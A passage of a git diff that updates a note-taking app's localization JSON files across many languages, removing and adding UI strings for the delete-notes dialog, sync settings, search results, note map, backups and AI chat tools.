"add_provider": "添加提供商",
"settings_title": "AI / LLM",
"feature_not_enabled": "在“设置”→“高级”→“实验性功能”中启用 LLM 实验性功能,即可使用 AI 集成。",
"add_provider_title": "添加AI供应商",
"configured_providers": "已配置的供应商",
"no_providers_configured": "尚未配置任何供应商。",
"provider_name": "名称",
"provider_type": "供应商"
}
}

View File

@@ -77,16 +77,13 @@
},
"delete_notes": {
"cancel": "Zrušit",
"ok": "OK",
"close": "Zavřít",
"delete_notes_preview": "Odstranit náhled poznámek",
"delete_all_clones_description": "Odstraňte také všechny klony (lze vrátit zpět v nedávných změnách)",
"erase_notes_description": "Normální (měkké) smazání pouze označí poznámky jako smazané a lze je během určité doby obnovit (v dialogovém okně posledních změn). Zaškrtnutím této možnosti se poznámky okamžitě vymažou a nebude možné je obnovit.",
"erase_notes_warning": "Trvale smažte poznámky (nelze vrátit zpět), včetně všech klonů. Tím se vynutí opětovné načtení aplikace.",
"notes_to_be_deleted": "Následující poznámky budou smazány ({{notesCount}})",
"no_note_to_delete": "Žádná poznámka nebude smazána (pouze klony).",
"broken_relations_to_be_deleted": "Následující vazby budou přerušeny a smazány ({{relationCount}})",
"deleted_relation_text": "Poznámka {{- note}} (bude smazána) je odkazována vazbou {{- relation}} pocházející z {{- source}}."
"broken_relations_to_be_deleted": "Následující vazby budou přerušeny a smazány ({{relationCount}})"
},
"export": {
"close": "Zavřít",
@@ -1508,7 +1505,6 @@
"config_title": "Konfigurace Synchronizace",
"server_address": "Adresa instance serveru",
"timeout": "Časový limit synchronizace",
"timeout_unit": "milisekund",
"proxy_label": "Proxy server pro synchronizaci (volitelné)",
"note": "Poznámka",
"note_description": "Pokud ponecháte nastavení proxy prázdné, bude použit systémový proxy (platí pouze pro desktop/electron build).",

View File

@@ -88,7 +88,6 @@
"also_delete_note": "Auch die Notiz löschen"
},
"delete_notes": {
"delete_notes_preview": "Vorschau der Notizen löschen",
"close": "Schließen",
"delete_all_clones_description": "auch alle Klone löschen (kann bei letzte Änderungen rückgängig gemacht werden)",
"erase_notes_description": "Beim normalen (vorläufigen) Löschen werden die Notizen nur als gelöscht markiert und sie können innerhalb eines bestimmten Zeitraums (im Dialogfeld „Letzte Änderungen“) wiederhergestellt werden. Wenn du diese Option aktivierst, werden die Notizen sofort gelöscht und es ist nicht möglich, die Notizen wiederherzustellen.",
@@ -96,9 +95,7 @@
"notes_to_be_deleted": "Folgende Notizen werden gelöscht ({{notesCount}})",
"no_note_to_delete": "Es werden keine Notizen gelöscht (nur Klone).",
"broken_relations_to_be_deleted": "Folgende Beziehungen werden gelöst und gelöscht ({{ relationCount}})",
"cancel": "Abbrechen",
"ok": "OK",
"deleted_relation_text": "Notiz {{- note}} (soll gelöscht werden) wird von Beziehung {{- relation}} ausgehend von {{- source}} referenziert."
"cancel": "Abbrechen"
},
"export": {
"export_note_title": "Notiz exportieren",
@@ -1401,8 +1398,7 @@
"test_title": "Synchronisierungstest",
"test_description": "Dadurch werden die Verbindung und der Handshake zum Synchronisierungsserver getestet. Wenn der Synchronisierungsserver nicht initialisiert ist, wird er dadurch für die Synchronisierung mit dem lokalen Dokument eingerichtet.",
"test_button": "Teste die Synchronisierung",
"handshake_failed": "Handshake des Synchronisierungsservers fehlgeschlagen, Fehler: {{message}}",
"timeout_unit": "Millisekunden"
"handshake_failed": "Handshake des Synchronisierungsservers fehlgeschlagen, Fehler: {{message}}"
},
"api_log": {
"close": "Schließen"

View File

@@ -4,7 +4,7 @@
"homepage": "Αρχική Σελίδα:",
"app_version": "Έκδοση εφαρμογής:",
"db_version": "Έκδοση βάσης δεδομένων:",
"sync_version": "Έκδοση πρωτοκόλου συγχρονισμού:",
"sync_version": "Έκδοση συγχρονισμού:",
"build_date": "Ημερομηνία χτισίματος εφαρμογής:",
"build_revision": "Αριθμός αναθεώρησης χτισίματος:",
"data_directory": "Φάκελος δεδομένων:"

View File

@@ -88,17 +88,23 @@
"also_delete_note": "Also delete the note"
},
"delete_notes": {
"delete_notes_preview": "Delete notes preview",
"title": "Delete notes",
"close": "Close",
"clones_label": "Clones",
"delete_clones_description_one": "Also delete {{count}} other clone. Can be undone in recent changes.",
"delete_clones_description_other": "Also delete {{count}} other clones. Can be undone in recent changes.",
"delete_all_clones_description": "Delete also all clones (can be undone in recent changes)",
"erase_notes_description": "Normal (soft) deletion only marks the notes as deleted and they can be undeleted (in recent changes dialog) within a period of time. Checking this option will erase the notes immediately and it won't be possible to undelete the notes.",
"erase_notes_label": "Erase permanently",
"erase_notes_description": "Erase notes immediately instead of soft deletion. This cannot be undone and will force application reload.",
"erase_notes_warning": "Erase notes permanently (can't be undone), including all clones. This will force application reload.",
"notes_to_be_deleted": "Following notes will be deleted ({{notesCount}})",
"notes_to_be_deleted": "Notes to be deleted ({{notesCount}})",
"no_note_to_delete": "No note will be deleted (only clones).",
"broken_relations_to_be_deleted": "Following relations will be broken and deleted ({{ relationCount}})",
"broken_relations_to_be_deleted": "Broken relations ({{relationCount}})",
"table_note_with_relation": "Note with relation",
"table_relation": "Relation",
"table_points_to": "Points to (deleted)",
"cancel": "Cancel",
"ok": "OK",
"deleted_relation_text": "Note {{- note}} (to be deleted) is referenced by relation {{- relation}} originating from {{- source}}."
"delete": "Delete"
},
"export": {
"export_note_title": "Export note",
@@ -209,6 +215,7 @@
"box_size_small": "small (~ 10 lines)",
"box_size_medium": "medium (~ 30 lines)",
"box_size_full": "full (box shows complete text)",
"box_size_expandable": "expandable (collapsed by default)",
"button_include": "Include note"
},
"info": {
@@ -806,7 +813,11 @@
"board": "Board",
"presentation": "Presentation",
"include_archived_notes": "Show archived notes",
"hide_child_notes": "Hide child notes in tree"
"hide_child_notes": "Hide child notes in tree",
"open_all_in_tabs": "Open all",
"open_all_in_tabs_tooltip": "Open all results in new tabs",
"open_all_confirm": "This will open {{count}} notes in new tabs. Continue?",
"open_all_too_many": "Too many results ({{count}}). Maximum is {{max}}."
},
"edited_notes": {
"no_edited_notes_found": "No edited notes on this day yet...",
@@ -860,7 +871,8 @@
"collapse": "Collapse to normal size",
"title": "Note Map",
"fix-nodes": "Fix nodes",
"link-distance": "Link distance"
"link-distance": "Link distance",
"too-many-notes": "This subtree contains {{count}} notes, which exceeds the limit of {{max}} that can be displayed in the note map."
},
"note_paths": {
"title": "Note Paths",
@@ -1401,7 +1413,8 @@
"date-and-time": "Date & time",
"path": "Path",
"database_backed_up_to": "Database has been backed up to {{backupFilePath}}",
"no_backup_yet": "no backup yet"
"no_backup_yet": "no backup yet",
"download": "Download"
},
"etapi": {
"title": "ETAPI",
@@ -1513,7 +1526,7 @@
"config_title": "Sync Configuration",
"server_address": "Server instance address",
"timeout": "Sync timeout",
"timeout_unit": "milliseconds",
"timeout_description": "How long to wait before giving up on a slow sync connection. Increase if you have an unstable network.",
"proxy_label": "Sync proxy server (optional)",
"note": "Note",
"note_description": "If you leave the proxy setting blank, the system proxy will be used (applies to desktop/electron build only).",
@@ -1664,7 +1677,8 @@
"note_context_enabled": "Click to disable note context: {{title}}",
"note_context_disabled": "Click to include current note in context",
"no_provider_message": "No AI provider configured. Add one to start chatting.",
"add_provider": "Add AI Provider"
"add_provider": "Add AI Provider",
"stop": "Stop"
},
"sidebar_chat": {
"title": "AI Chat",
@@ -1870,7 +1884,8 @@
"theme_none": "No syntax highlighting",
"theme_group_light": "Light themes",
"theme_group_dark": "Dark themes",
"copy_title": "Copy to clipboard"
"copy_title": "Copy to clipboard",
"click_to_copy": "Click to copy"
},
"classic_editor_toolbar": {
"title": "Formatting"
@@ -2367,7 +2382,11 @@
"web_search": "Web search",
"note_in_parent": "<Note/> in <Parent/>",
"get_attachment": "Get attachment",
"get_attachment_content": "Read attachment content"
"get_attachment_content": "Read attachment content",
"rename_note": "Rename note",
"delete_note": "Delete note",
"move_note": "Move note",
"clone_note": "Clone note"
}
}
}

View File

@@ -88,7 +88,6 @@
"also_delete_note": "También eliminar la nota"
},
"delete_notes": {
"delete_notes_preview": "Eliminar vista previa de notas",
"close": "Cerrar",
"delete_all_clones_description": "Eliminar también todos los clones (se puede deshacer en cambios recientes)",
"erase_notes_description": "La eliminación normal (suave) solo marca las notas como eliminadas y se pueden recuperar (en el cuadro de diálogo de cambios recientes) dentro de un periodo de tiempo. Al marcar esta opción se borrarán las notas inmediatamente y no será posible recuperarlas.",
@@ -96,9 +95,7 @@
"notes_to_be_deleted": "Las siguientes notas serán eliminadas ({{notesCount}})",
"no_note_to_delete": "No se eliminará ninguna nota (solo clones).",
"broken_relations_to_be_deleted": "Las siguientes relaciones se romperán y serán eliminadas ({{ relationCount}})",
"cancel": "Cancelar",
"ok": "Aceptar",
"deleted_relation_text": "Nota {{- note}} (para ser eliminada) está referenciado por la relación {{- relation}} que se origina en {{- source}}."
"cancel": "Cancelar"
},
"export": {
"export_note_title": "Exportar nota",
@@ -1332,7 +1329,8 @@
"date-and-time": "Fecha y hora",
"path": "Ruta",
"database_backed_up_to": "Se ha realizado una copia de seguridad de la base de datos en {{backupFilePath}}",
"no_backup_yet": "no hay copia de seguridad todavía"
"no_backup_yet": "no hay copia de seguridad todavía",
"download": "Descargar"
},
"etapi": {
"title": "ETAPI",
@@ -1438,7 +1436,6 @@
"config_title": "Configuración de sincronización",
"server_address": "Dirección de la instancia del servidor",
"timeout": "Tiempo de espera de sincronización (milisegundos)",
"timeout_unit": "milisegundos",
"proxy_label": "Sincronizar servidor proxy (opcional)",
"note": "Nota",
"note_description": "Si deja la configuración del proxy en blanco, se utilizará el proxy del sistema (se aplica únicamente a la compilación de escritorio/electron).",

View File

@@ -62,12 +62,10 @@
"also_delete_note": "Poista myös muistio"
},
"delete_notes": {
"delete_notes_preview": "Poista muistion esikatselu",
"close": "Sulje",
"notes_to_be_deleted": "Seuraavat muistiot tullaan poistamaan ({{notesCount}})",
"no_note_to_delete": "Muistioita ei poisteta (vain kopiot).",
"cancel": "Peruuta",
"ok": "OK"
"cancel": "Peruuta"
},
"export": {
"export_note_title": "Vie muistio",

View File

@@ -88,7 +88,6 @@
"also_delete_note": "Supprimer également la note"
},
"delete_notes": {
"delete_notes_preview": "Supprimer la note",
"close": "Fermer",
"delete_all_clones_description": "Supprimer aussi les clones (peut être annulé dans des modifications récentes)",
"erase_notes_description": "La suppression normale (douce) marque uniquement les notes comme supprimées et elles peuvent être restaurées (dans la boîte de dialogue des Modifications récentes) dans un délai donné. Cocher cette option effacera les notes immédiatement et il ne sera pas possible de les restaurer.",
@@ -96,9 +95,7 @@
"notes_to_be_deleted": "Les notes suivantes seront supprimées ({{notesCount}})",
"no_note_to_delete": "Aucune note ne sera supprimée (uniquement les clones).",
"broken_relations_to_be_deleted": "Les relations suivantes seront rompues et supprimées ({{ relationCount}})",
"cancel": "Annuler",
"ok": "OK",
"deleted_relation_text": "Note {{- note}} (à supprimer) est référencée dans la relation {{- relation}} provenant de {{- source}}."
"cancel": "Annuler"
},
"export": {
"export_note_title": "Exporter la note",
@@ -1406,8 +1403,7 @@
"test_title": "Test de synchronisation",
"test_description": "Testera la connexion et la prise de contact avec le serveur de synchronisation. Si le serveur de synchronisation n'est pas initialisé, cela le configurera pour qu'il se synchronise avec le document local.",
"test_button": "Tester la synchronisation",
"handshake_failed": "Échec de la négociation avec le serveur de synchronisation, erreur : {{message}}",
"timeout_unit": "millisecondes"
"handshake_failed": "Échec de la négociation avec le serveur de synchronisation, erreur : {{message}}"
},
"api_log": {
"close": "Fermer"

View File

@@ -119,7 +119,6 @@
"also_delete_note": "Scrios an nóta freisin"
},
"delete_notes": {
"delete_notes_preview": "Réamhamharc ar scriosadh nótaí",
"close": "Dún",
"delete_all_clones_description": "Scrios gach clón freisin (is féidir é seo a chealú in athruithe le déanaí)",
"erase_notes_description": "Ní mharcálann scriosadh gnáth (bog) ach na nótaí mar scriosta agus is féidir iad a dhíscriosadh (sa dialóg athruithe le déanaí) laistigh de thréimhse ama. Scriosfar na nótaí láithreach má sheiceálann tú an rogha seo agus ní bheidh sé indéanta na nótaí a dhíscriosadh.",
@@ -127,9 +126,7 @@
"notes_to_be_deleted": "Scriosfar na nótaí seo a leanas ({{notesCount}})",
"no_note_to_delete": "Ní scriosfar aon nóta (clóin amháin).",
"broken_relations_to_be_deleted": "Brisfear agus scriosfar na caidrimh seo a leanas ({{ relationCount}})",
"cancel": "Cealaigh",
"ok": "Ceart go leor",
"deleted_relation_text": "Tá tagairt don nóta {{- note}} (le scriosadh) le gaol {{- relation}} a thagann ó {{- source}}."
"cancel": "Cealaigh"
},
"export": {
"export_note_title": "Nóta easpórtála",
@@ -1483,7 +1480,6 @@
"config_title": "Cumraíocht Sioncrónaithe",
"server_address": "Seoladh sampla an fhreastalaí",
"timeout": "Am scoir sioncrónaithe",
"timeout_unit": "milleasoicindí",
"proxy_label": "Sioncrónaigh freastalaí seachfhreastalaí (roghnach)",
"note": "Nóta",
"note_description": "Má fhágann tú an socrú seachfhreastalaí bán, úsáidfear seachfhreastalaí an chórais (baineann sé le tógáil deisce/leictreon amháin).",

View File

@@ -94,7 +94,6 @@
"if_you_dont_check": "अगर आप इसे चेक नहीं करते हैं, तो नोट केवल रिलेशन मैप से हटाया जाएगा।"
},
"delete_notes": {
"delete_notes_preview": "नोट्स प्रिव्यू डिलीट करें",
"close": "बंद करें",
"delete_all_clones_description": "सभी क्लोन भी डिलीट करें (हाल के बदलावों में वापस ला सकते हैं)",
"erase_notes_description": "सामान्य (सॉफ्ट) डिलीट करने पर नोट केवल 'डिलीटेड' मार्क होते हैं और उन्हें एक निश्चित समय के भीतर (हाल के बदलावों वाले डायलॉग में) वापस लाया जा सकता है। इस विकल्प को चुनने पर नोट तुरंत पूरी तरह मिटा दिए जाएंगे और उन्हें वापस लाना संभव नहीं होगा।",
@@ -102,9 +101,7 @@
"notes_to_be_deleted": "निम्नलिखित नोट डिलीट कर दिए जाएंगे ({{notesCount}})",
"no_note_to_delete": "कोई भी नोट डिलीट नहीं होगा (केवल क्लोन हटाए जाएंगे)।",
"broken_relations_to_be_deleted": "निम्नलिखित रिलेशन टूट जाएंगे और डिलीट हो जाएंगे ({{relationCount}})",
"cancel": "रद्द करें",
"ok": "ठीक है",
"deleted_relation_text": "नोट {{- note}} (जिसे डिलीट किया जाना है) का संदर्भ {{- source}} से शुरू होने वाले रिलेशन {{- relation}} में दिया गया है।"
"cancel": "रद्द करें"
},
"branch_prefix": {
"edit_branch_prefix": "ब्रांच प्रीफ़िक्स एडिट करें",
@@ -1467,7 +1464,6 @@
"config_title": "सिंक कॉन्फ़िगरेशन",
"server_address": "सर्वर एड्रेस (Address)",
"timeout": "सिंक समय-सीमा (Timeout)",
"timeout_unit": "मिलीसेकंड (milliseconds)",
"proxy_label": "सिंक प्रॉक्सी सर्वर (वैकल्पिक)",
"note": "नोट",
"note_description": "अगर आप प्रॉक्सी खाली छोड़ते हैं, तो सिस्टम प्रॉक्सी का इस्तेमाल होगा।",

View File

@@ -76,7 +76,6 @@
"confirmation": "Konfirmasi"
},
"delete_notes": {
"delete_notes_preview": "Hapus pratinjau catatan",
"close": "Tutup",
"delete_all_clones_description": "Hapus seluruh duplikat (bisa dikembalikan di menu revisi)",
"erase_notes_description": "Penghapusan normal hanya menandai catatan sebagai dihapus dan dapat dipulihkan (melalui dialog versi revisi) dalam jangka waktu tertentu. Mencentang opsi ini akan menghapus catatan secara permanen seketika dan catatan tidak akan bisa dipulihkan kembali.",
@@ -84,9 +83,7 @@
"notes_to_be_deleted": "Catatan-catatan berikut akan dihapuskan ({{notesCount}})",
"no_note_to_delete": "Tidak ada Catatan yang akan dihapus (hanya duplikat).",
"broken_relations_to_be_deleted": "Hubungan berikut akan diputus dan dihapus ({{ relationCount}})",
"cancel": "Batalkan",
"ok": "Setuju",
"deleted_relation_text": "Catatan {{- note}} (yang akan dihapus) dirujuk oleh relasi {{- relation}} yang berasal dari {{- source}}."
"cancel": "Batalkan"
},
"clone_to": {
"clone_notes_to": "Duplikat catatan ke…",

View File

@@ -88,17 +88,14 @@
"also_delete_note": "Rimuove anche la nota"
},
"delete_notes": {
"ok": "OK",
"close": "Chiudi",
"delete_notes_preview": "Anteprima di eliminazione delle note",
"delete_all_clones_description": "Elimina anche tutti i cloni (può essere ripristinato nella sezione cambiamenti recenti)",
"erase_notes_description": "L'eliminazione normale (soft) marca le note come eliminate e potranno essere recuperate entro un certo lasso di tempo (dalla finestra dei cambiamenti recenti). Selezionando questa opzione le note si elimineranno immediatamente e non sarà possibile recuperarle.",
"erase_notes_warning": "Elimina le note in modo permanente (non potrà essere disfatto), compresi tutti i cloni. Ciò forzerà un nuovo caricamento dell'applicazione.",
"cancel": "Annulla",
"notes_to_be_deleted": "Le seguenti note saranno eliminate ({{notesCount}})",
"no_note_to_delete": "Nessuna nota sarà eliminata (solo i cloni).",
"broken_relations_to_be_deleted": "Le seguenti relazioni saranno interrotte ed eliminate ({{relationCount}})",
"deleted_relation_text": "La nota {{- note}} (da eliminare) è referenziata dalla relazione {{- relation}} originata da {{- source}}."
"broken_relations_to_be_deleted": "Le seguenti relazioni saranno interrotte ed eliminate ({{relationCount}})"
},
"info": {
"okButton": "OK",
@@ -497,7 +494,6 @@
"proxy_label": "Server Proxy per la sincronizzazione (opzionale)",
"test_title": "Test di sincronizzazione",
"timeout": "Timeout per la sincronizzazione",
"timeout_unit": "millisecondi",
"save": "Salva",
"help": "Aiuto",
"server_address": "Indirizzo dell'istanza del server",

View File

@@ -111,11 +111,8 @@
"notes_to_be_deleted": "以下のノートが削除されます ({{notesCount}})",
"no_note_to_delete": "ノートは削除されません(クローンのみ)。",
"cancel": "キャンセル",
"ok": "OK",
"close": "閉じる",
"delete_notes_preview": "ノートのプレビューを削除",
"broken_relations_to_be_deleted": "次のリレーション ({{relationCount}})は壊れているので消去されます",
"deleted_relation_text": "削除予定のノート{{- note}}は{{- source}}からリレーション{{- relation}}によって参照されています."
"broken_relations_to_be_deleted": "次のリレーション ({{relationCount}})は壊れているので消去されます"
},
"calendar": {
"mon": "月",
@@ -576,7 +573,10 @@
"expand_first_level": "直下の子を展開",
"expand_nth_level": "{{depth}} 階層下まで展開",
"expand_all_levels": "すべての階層を展開",
"hide_child_notes": "ツリー内の子ノートを非表示"
"hide_child_notes": "ツリー内の子ノートを非表示",
"open_all_in_tabs": "すべて開く",
"open_all_in_tabs_tooltip": "すべての結果を新しいタブで開く",
"open_all_confirm": "{{count}} 件のノートが新しいタブで開かれます。続行しますか?"
},
"note_types": {
"geo-map": "ジオマップ",
@@ -1001,7 +1001,8 @@
"date-and-time": "日時",
"path": "パス",
"database_backed_up_to": "データベースは{{backupFilePath}}にバックアップされました",
"no_backup_yet": "バックアップがありません"
"no_backup_yet": "バックアップがありません",
"download": "ダウンロード"
},
"password": {
"wiki": "wiki",
@@ -1041,7 +1042,6 @@
"config_title": "同期設定",
"server_address": "サーバーインスタンスのアドレス",
"timeout": "同期タイムアウト",
"timeout_unit": "ミリ秒",
"proxy_label": "同期プロキシサーバー(任意)",
"note": "注",
"note_description": "プロキシ設定を空白のままにすると、システムプロキシが使用されます(デスクトップ/electronビルドにのみ適用されます。",
@@ -1051,7 +1051,8 @@
"test_title": "同期のテスト",
"test_description": "これは同期サーバとの接続とハンドシェイクをテストします。同期サーバーが初期化されていない場合、ローカルドキュメントと同期するように設定します。",
"test_button": "同期試行",
"handshake_failed": "同期サーバーのハンドシェイクに失敗しました。エラー: {{message}}"
"handshake_failed": "同期サーバーのハンドシェイクに失敗しました。エラー: {{message}}",
"timeout_description": "同期接続が遅い場合に、接続を諦めるまでの待機時間。ネットワークが不安定な場合は、この時間を長く設定してください。"
},
"api_log": {
"close": "閉じる"
@@ -1542,7 +1543,8 @@
"collapse": "通常サイズに折りたたむ",
"title": "ノートマップ",
"link-distance": "リンク距離",
"fix-nodes": "ノードを修正"
"fix-nodes": "ノードを修正",
"too-many-notes": "このサブツリーには {{count}} 件のノートが含まれており、ノートマップに表示できる {{max}} の上限を超えています。"
},
"owned_attribute_list": {
"owned_attributes": "所有属性"

View File

@@ -100,9 +100,6 @@
"no_note_to_delete": "삭제되는 노트가 없습니다 (클론만 삭제됩니다).",
"broken_relations_to_be_deleted": "다음 관계가 끊어지고 삭제됩니다({{ relationCount}})",
"cancel": "취소",
"ok": "OK",
"deleted_relation_text": "삭제 예정인 노트 {{- note}} (은)는 {{- source}}에서 시작된 관계 {{- relation}}에 의해 참조되고 있습니다.",
"delete_notes_preview": "노트 미리보기 삭제",
"close": "닫기",
"delete_all_clones_description": "모든 복제본 삭제(최근 변경 사항에서 되돌릴 수 있습니다)"
},

View File

@@ -39,8 +39,7 @@
},
"delete_notes": {
"close": "Lukk",
"cancel": "Avbryt",
"ok": "OK"
"cancel": "Avbryt"
},
"export": {
"close": "Lukk",

View File

@@ -78,15 +78,12 @@
"delete_notes": {
"cancel": "Anuluj",
"close": "Zamknij",
"delete_notes_preview": "Podgląd usuwania notatek",
"delete_all_clones_description": "Usuń również wszystkie klony (można cofnąć w oknie Ostatnie zmiany)",
"erase_notes_description": "Normalne (miękkie) usuwanie jedynie oznacza notatki jako usunięte i można je przywrócić (w oknie Ostatnie zmiany) przez pewien czas. Zaznaczenie tej opcji spowoduje natychmiastowe wymazanie notatek i nie będzie możliwe ich przywrócenie.",
"erase_notes_warning": "Wymaż notatki trwale (nie można cofnąć), w tym wszystkie klony. Wymusi to przeładowanie aplikacji.",
"notes_to_be_deleted": "Następujące notatki zostaną usunięte ({{notesCount}})",
"no_note_to_delete": "Żadna notatka nie zostanie usunięta (tylko klony).",
"broken_relations_to_be_deleted": "Następujące relacje zostaną zerwane i usunięte ({{ relationCount}})",
"ok": "OK",
"deleted_relation_text": "Notatka {{- note}} (do usunięcia) jest powiązana relacją {{- relation}} pochodzącą z {{- source}}."
"broken_relations_to_be_deleted": "Następujące relacje zostaną zerwane i usunięte ({{ relationCount}})"
},
"export": {
"close": "Zamknij",
@@ -1671,7 +1668,6 @@
"config_title": "Konfiguracja synchronizacji",
"server_address": "Adres instancji serwera",
"timeout": "Limit czasu synchronizacji",
"timeout_unit": "milisekund",
"proxy_label": "Serwer proxy synchronizacji (opcjonalnie)",
"note": "Uwaga",
"note_description": "Jeśli pozostawisz ustawienie proxy puste, zostanie użyte proxy systemowe (dotyczy tylko wersji desktop/electron).",

View File

@@ -88,7 +88,6 @@
"also_delete_note": "Também apagar a nota"
},
"delete_notes": {
"delete_notes_preview": "Apagar pré-visualização de notas",
"close": "Fechar",
"delete_all_clones_description": "Apagar também todos os clones (pode ser desfeito em alterações recentes)",
"erase_notes_description": "Apagar normal (suave) apenas marca as notas como apagadas, permitindo que sejam recuperadas (no diálogo de alterações recentes) num período. Se esta opção for marcada, as notas serão apagadas imediatamente e não será possível restaurá-las.",
@@ -96,9 +95,7 @@
"notes_to_be_deleted": "As seguintes notas serão apagadas ({{notesCount}})",
"no_note_to_delete": "Nenhuma nota será apagada (apenas os clones).",
"broken_relations_to_be_deleted": "As seguintes relações serão quebradas e apagadas ({{ relationCount}})",
"cancel": "Cancelar",
"ok": "OK",
"deleted_relation_text": "A nota {{- note}} (a ser apagada) está referenciada pela relação {{- relation}} originada de {{- source}}."
"cancel": "Cancelar"
},
"export": {
"export_note_title": "Exportar nota",
@@ -1441,7 +1438,6 @@
"config_title": "Configuração da Sincronização",
"server_address": "Endereço da instância do Servidor",
"timeout": "Tempo limite da sincronização",
"timeout_unit": "milisegundos",
"proxy_label": "Servidor proxy para sincronização (opcional)",
"note": "Nota",
"note_description": "Se deixar a configuração de proxy em branco, o proxy do sistema será usado (aplica-se apenas à versão desktop/Electron).",

View File

@@ -94,7 +94,6 @@
"also_delete_note": "Também excluir a nota"
},
"delete_notes": {
"delete_notes_preview": "Excluir pré-visualização de notas",
"close": "Fechar",
"delete_all_clones_description": "Excluir também todos os clones (pode ser desfeito em alterações recentes)",
"erase_notes_description": "A exclusão normal (suave) apenas marca as notas como excluídas, permitindo que sejam recuperadas (no diálogo de alterações recentes) dentro de um período de tempo. Se esta opção for marcada, as notas serão apagadas imediatamente e não será possível restaurá-las.",
@@ -102,9 +101,7 @@
"notes_to_be_deleted": "As seguintes notas serão excluídas ({{notesCount}})",
"no_note_to_delete": "Nenhuma nota será excluída (apenas os clones).",
"broken_relations_to_be_deleted": "As seguintes relações serão quebradas e excluídas ({{ relationCount}})",
"cancel": "Cancelar",
"ok": "OK",
"deleted_relation_text": "A nota {{- note}} (a ser excluída) está referenciada pela relação {{- relation}} originada de {{- source}}."
"cancel": "Cancelar"
},
"export": {
"export_note_title": "Exportar nota",
@@ -1950,7 +1947,6 @@
"config_title": "Configuração da Sincronização",
"server_address": "Endereço da instância do Servidor",
"timeout": "Tempo limite da sincronização",
"timeout_unit": "milisegundos",
"proxy_label": "Servidor proxy para sincronização (opcional)",
"note": "Nota",
"note_description": "Se você deixar a configuração de proxy em branco, o proxy do sistema será usado (aplica-se apenas à versão desktop/Electron).",

View File

@@ -459,13 +459,10 @@
"broken_relations_to_be_deleted": "Următoarele relații vor fi întrerupte și șterse ({{ relationCount}})",
"cancel": "Anulează",
"delete_all_clones_description": "Șterge și toate clonele (se pot recupera în ecranul Schimbări recente)",
"delete_notes_preview": "Previzualizare ștergerea notițelor",
"erase_notes_description": "Ștergerea obișnuită doar marchează notițele ca fiind șterse și pot fi recuperate (în ecranul Schimbări recente) pentru o perioadă de timp. Dacă se bifează această opțiune, notițele vor fi șterse imediat fără posibilitatea de a le recupera.",
"erase_notes_warning": "Șterge notițele permanent (nu se mai pot recupera), incluzând toate clonele. Va forța reîncărcarea aplicației.",
"no_note_to_delete": "Nicio notiță nu va fi ștearsă (doar clonele).",
"notes_to_be_deleted": "Următoarele notițe vor fi șterse ({{notesCount}})",
"ok": "OK",
"deleted_relation_text": "Notița {{- note}} ce va fi ștearsă este referențiată de relația {{- relation}}, originând din {{- source}}.",
"close": "Închide"
},
"delete_relation": {
@@ -1266,8 +1263,7 @@
"test_button": "Probează sincronizarea",
"test_description": "Această opțiune va testa conexiunea și comunicarea cu serverul de sincronizare. Dacă serverul de sincronizare nu este inițializat, acest lucru va rula și o sincronizare cu documentul local.",
"test_title": "Probează sincronizarea",
"timeout": "Timp limită de sincronizare",
"timeout_unit": "milisecunde"
"timeout": "Timp limită de sincronizare"
},
"table_of_contents": {
"description": "Cuprinsul va apărea în notițele de tip text atunci când notița are un număr de titluri mai mare decât cel definit. Acest număr se poate personaliza:",

View File

@@ -83,10 +83,7 @@
"notes_to_be_deleted": "Следующие заметки будут удалены ({{notesCount}})",
"no_note_to_delete": "Заметка не будет удалена (только клоны).",
"broken_relations_to_be_deleted": "Следующие отношения будут разорваны и удалены ({{relationCount}})",
"cancel": "Отмена",
"ok": "ОК",
"deleted_relation_text": "Примечание {{- note}} (подлежит удалению) ссылается на отношение {{- relation}}, происходящее из {{- source}}.",
"delete_notes_preview": "Предпросмотр удаляемых заметок"
"cancel": "Отмена"
},
"database_anonymization": {
"light_anonymization_description": "Это действие создаст новую копию базы данных и выполнит её лёгкую анонимизацию — в частности, будет удалён только контент всех заметок, но заголовки и атрибуты останутся. Кроме того, будут сохранены пользовательские заметки, содержащие JavaScript-скрипты frontend/backend и пользовательские виджеты. Это даёт больше контекста для отладки проблем.",
@@ -1419,7 +1416,6 @@
"no_results": "Не найдено ярлыков, соответствующих '{{filter}}'"
},
"sync_2": {
"timeout_unit": "миллисекунд",
"note": "Заметка",
"save": "Сохранить",
"help": "Помощь",

View File

@@ -76,7 +76,6 @@
"also_delete_note": "Takođe obriši belešku"
},
"delete_notes": {
"delete_notes_preview": "Obriši pregled beleške",
"close": "Zatvori",
"delete_all_clones_description": "Obriši i sve klonove (može biti poništeno u skorašnjim izmenama)",
"erase_notes_description": "Normalno (blago) brisanje samo označava beleške kao obrisane i one mogu biti vraćene (u dijalogu skorašnjih izmena) u određenom vremenskom periodu. Biranje ove opcije će momentalno obrisati beleške i ove beleške neće biti moguće vratiti.",
@@ -84,9 +83,7 @@
"notes_to_be_deleted": "Sledeće beleške će biti obrisane ({{- noteCount}})",
"no_note_to_delete": "Nijedna beleška neće biti obrisana (samo klonovi).",
"broken_relations_to_be_deleted": "Sledeći odnosi će biti prekinuti i obrisani ({{- relationCount}})",
"cancel": "Otkaži",
"ok": "U redu",
"deleted_relation_text": "Beleška {{- note}} (za brisanje) je referencirana sa odnosom {{- relation}} koji potiče iz {{- source}}."
"cancel": "Otkaži"
},
"export": {
"export_note_title": "Izvezi belešku",

View File

@@ -21,16 +21,13 @@
},
"delete_notes": {
"close": "Kapat",
"delete_notes_preview": "Not önizlemesini sil",
"delete_all_clones_description": "Tüm klonları da sil (son değişikliklerden geri alınabilir)",
"erase_notes_description": "Normal (yazılımsal) silme işlemi, notları yalnızca silinmiş olarak işaretler ve belirli bir süre içinde (son değişiklikler iletişim kutusunda) geri alınabilir. Bu seçeneği işaretlemek, notları hemen siler ve notların geri alınması mümkün olmaz.",
"erase_notes_warning": "Notları, tüm kopyaları da dahil olmak üzere kalıcı olarak silin (geri alınamaz). Bu işlem, uygulamanın yeniden yüklenmesine neden olacaktır.",
"notes_to_be_deleted": "Aşağıdaki notlar silinecektir. ({{notesCount}})",
"no_note_to_delete": "Hiçbir not silinmeyecek (sadece kopyaları silinecek).",
"broken_relations_to_be_deleted": "Aşağıdaki ilişkiler koparılacak ve silinecektir ({{ relationCount}})",
"cancel": "İptal",
"ok": "Tamam",
"deleted_relation_text": "{{- note}} (silinecek) notu, {{- source}} kaynağından kaynaklanan {{- relation}} ilişkisi tarafından referans alınmaktadır."
"cancel": "İptal"
},
"export": {
"close": "Kapat",

View File

@@ -88,7 +88,6 @@
"also_delete_note": "同時刪除筆記"
},
"delete_notes": {
"delete_notes_preview": "刪除筆記預覽",
